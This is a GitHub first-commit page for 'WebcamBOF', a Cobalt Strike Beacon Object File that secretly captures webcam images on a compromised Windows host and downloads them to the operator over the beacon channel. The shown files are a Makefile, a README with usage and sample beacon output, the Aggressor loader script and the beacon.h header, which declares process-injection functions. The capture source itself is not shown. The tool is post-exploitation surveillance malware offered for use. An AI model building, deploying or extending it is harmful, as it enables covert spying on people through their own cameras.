Skip to content

Commit 8c8d786

Browse files
committed
first commit
0 parents  commit 8c8d786

22 files changed

+8692
-0
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
/.vscode

Makefile

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
BOFNAME := WebcamBOF
2+
COMINCLUDE := -I .common
3+
CC_x64 := x86_64-w64-mingw32-gcc
4+
CC_x86 := i686-w64-mingw32-gcc
5+
6+
7+
EXTRA_FLAGS := -fno-function-sections -fno-inline -fno-common -fno-data-sections -w
8+
9+
all:
10+
$(CC_x64) -o $(BOFNAME).x64.obj $(COMINCLUDE) -Os -fno-weak $(EXTRA_FLAGS) -c entry.c -DBOF
11+
$(CC_x86) -o $(BOFNAME).x86.obj $(COMINCLUDE) -Os -fno-weak $(EXTRA_FLAGS) -c entry.c -DBOF
12+
mkdir -p $(BOFNAME)
13+
mv $(BOFNAME)*.obj $(BOFNAME)
14+
15+
test:
16+
$(CC_x64) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe
17+
$(CC_x86) entry.c -g $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe
18+
mkdir -p $(BOFNAME)
19+
mv $(BOFNAME)*.exe $(BOFNAME)
20+
21+
scanbuild:
22+
$(CC) entry.c -o $(BOFNAME).scanbuild.exe $(COMINCLUDE) $(LIBINCLUDE)
23+
24+
check:
25+
ccheck --enable=all $(COMINCLUDE) --platform=win64 entry.c
26+
27+
clean:
28+
rm $(BOFNAME).*.exe

README.md

Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
# WebcamBOF
2+
3+
Webcam capture capability for Cobalt Strike, implemented as a Beacon Object File (BOF)
4+
5+
## Self Compilation
6+
1. git clone the repo
7+
2. run `make`
8+
9+
## Save methods:
10+
0. drop file to disk
11+
1. download file over beacon (Cobalt Strike only)
12+
2. download file over beacon as a screenshot (Cobalt Strike only)
13+
14+
## Usage
15+
1. import the webcamBOF.cna script into Cobalt Strike
16+
2. use the command webcam_bof {filename} {save method 0/1/2}
17+
18+
```
19+
beacon> webcam_bof sad.jpeg 2
20+
[*] Running Webcam BOF by (@codex_tf2)
21+
[+] host called home, sent: 35817 bytes
22+
[+] received output:
23+
24+
[*] Initializing webcam
25+
[+] received output:
26+
27+
[*] Device 0: HP 320 FHD Webcam
28+
[+] received output:
29+
30+
[*] Capturing image data
31+
[+] received output:
32+
[*] Downloading JPEG over beacon as a screenshot
33+
[*] received screenshot of Webcam from Admin (328kb)
34+
```
35+
36+
37+
## Notes
38+
I'm gonna be honest, the code quality of this is pretty low. There is some hacky shit going on to prevent generation of COMDAT sections during compilation (the mfapi.h headers produced over 170 of them) and I did some absolutely illegal stuff with the function pointers in one of the functions becuase for some reason the addresses would get truncated ONLY when run in Beacon. It would work perfectly fine in COFFLoader. No idea why.
39+
40+
But it works.
41+
42+
## Why did I make this?
43+
Cobalt Strike did not originally have a built in webcam capability, nor did open source alternatives exist to my knowledge. And it was a fun (not) idea.
44+
45+
## Credits
46+
- Webcam code from https://github.com/OV2/WebcamImage
47+
- Save BMP to file from https://stackoverflow.com/a/60667564
48+
- in memory download from https://github.com/anthemtotheego/CredBandit
49+
- bitmap to jpeg from https://github.com/WKL-Sec/HiddenDesktop
50+
51+
## Disclaimer
52+
usual disclaimer here, I am not responsible for any crimes against humanity you may commit or nuclear war you may cause using this piece of poorly written code.

WebcamBOF.x64.obj

82.1 KB
Binary file not shown.

WebcamBOF.x86.obj

93.1 KB
Binary file not shown.

WebcamBOF/WebcamBOF.x64.obj

87.7 KB
Binary file not shown.

WebcamBOF/WebcamBOF.x86.obj

89.4 KB
Binary file not shown.

WebcamBOF/webcamBOF.cna

Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
2+
#Register command
3+
beacon_command_register(
4+
"webcam_bof",
5+
"Webcam capability for Cobalt Strike",
6+
"Use: webcam_bof [filename] [save method]\nSave methods:\n\t0: drop file to disk\n\t1: download over beacon as a file\n\t2: download over beacon\n\nTake a Webcam inline using a BOF. Image is saved as JPEG on disk or downloaded over beacon."
7+
);
8+
9+
alias webcam_bof {
10+
local('$bid $barch $handle $data $args $target_pid');
11+
$bid = $1;
12+
# figure out the arch of this session
13+
$barch = barch($bid);
14+
if (size(@_) != 3)
15+
{
16+
berror($1, "Syntax: webcam_bof [filename] [save method 0/1/2] e.g. webcam_bof file.jpeg 2");
17+
return;
18+
}
19+
# read in the right BOF file
20+
$handle = openf(script_resource("WebcamBOF. $+ $barch $+ .obj"));
21+
$data = readb($handle, -1);
22+
closef($handle);
23+
24+
25+
$args = bof_pack($bid, "zi", $2, $3);
26+
27+
# announce what we're doing
28+
btask($bid, "Running Webcam BOF by (@codex_tf2)", "T1125");
29+
# execute it.
30+
beacon_inline_execute($bid, $data, "go", $args);
31+
}

beacon.h

Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
#pragma once
2+
3+
/*
4+
* Beacon Object Files (BOF)
5+
* -------------------------
6+
* A Beacon Object File is a light-weight post exploitation tool that runs
7+
* with Beacon's inline-execute command.
8+
*
9+
* Cobalt Strike 4.1.
10+
*/
11+
12+
/* data API */
13+
typedef struct {
14+
char * original; /* the original buffer [so we can free it] */
15+
char * buffer; /* current pointer into our buffer */
16+
int length; /* remaining length of data */
17+
int size; /* total size of this buffer */
18+
} datap;
19+
20+
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
21+
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
22+
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
23+
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
24+
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
25+
26+
/* format API */
27+
typedef struct {
28+
char * original; /* the original buffer [so we can free it] */
29+
char * buffer; /* current pointer into our buffer */
30+
int length; /* remaining length of data */
31+
int size; /* total size of this buffer */
32+
} formatp;
33+
34+
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
35+
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
36+
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
37+
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
38+
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
39+
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
40+
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
41+
42+
/* Output Functions */
43+
#define CALLBACK_OUTPUT 0x0
44+
#define CALLBACK_OUTPUT_OEM 0x1e
45+
#define CALLBACK_ERROR 0x0d
46+
#define CALLBACK_OUTPUT_UTF8 0x20
47+
#define CALLBACK_FILE 0x02
48+
#define CALLBACK_FILE_WRITE 0x08
49+
#define CALLBACK_FILE_CLOSE 0x09
50+
#define CALLBACK_SCREENSHOT 0x03
51+
52+
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
53+
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
54+
55+
/* Token Functions */
56+
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
57+
DECLSPEC_IMPORT void BeaconRevertToken();
58+
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
59+
60+
/* Spawn+Inject Functions */
61+
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
62+
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
63+
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
64+
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
65+
66+
/* Utility Functions */
67+
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);

0 commit comments

Comments
 (0)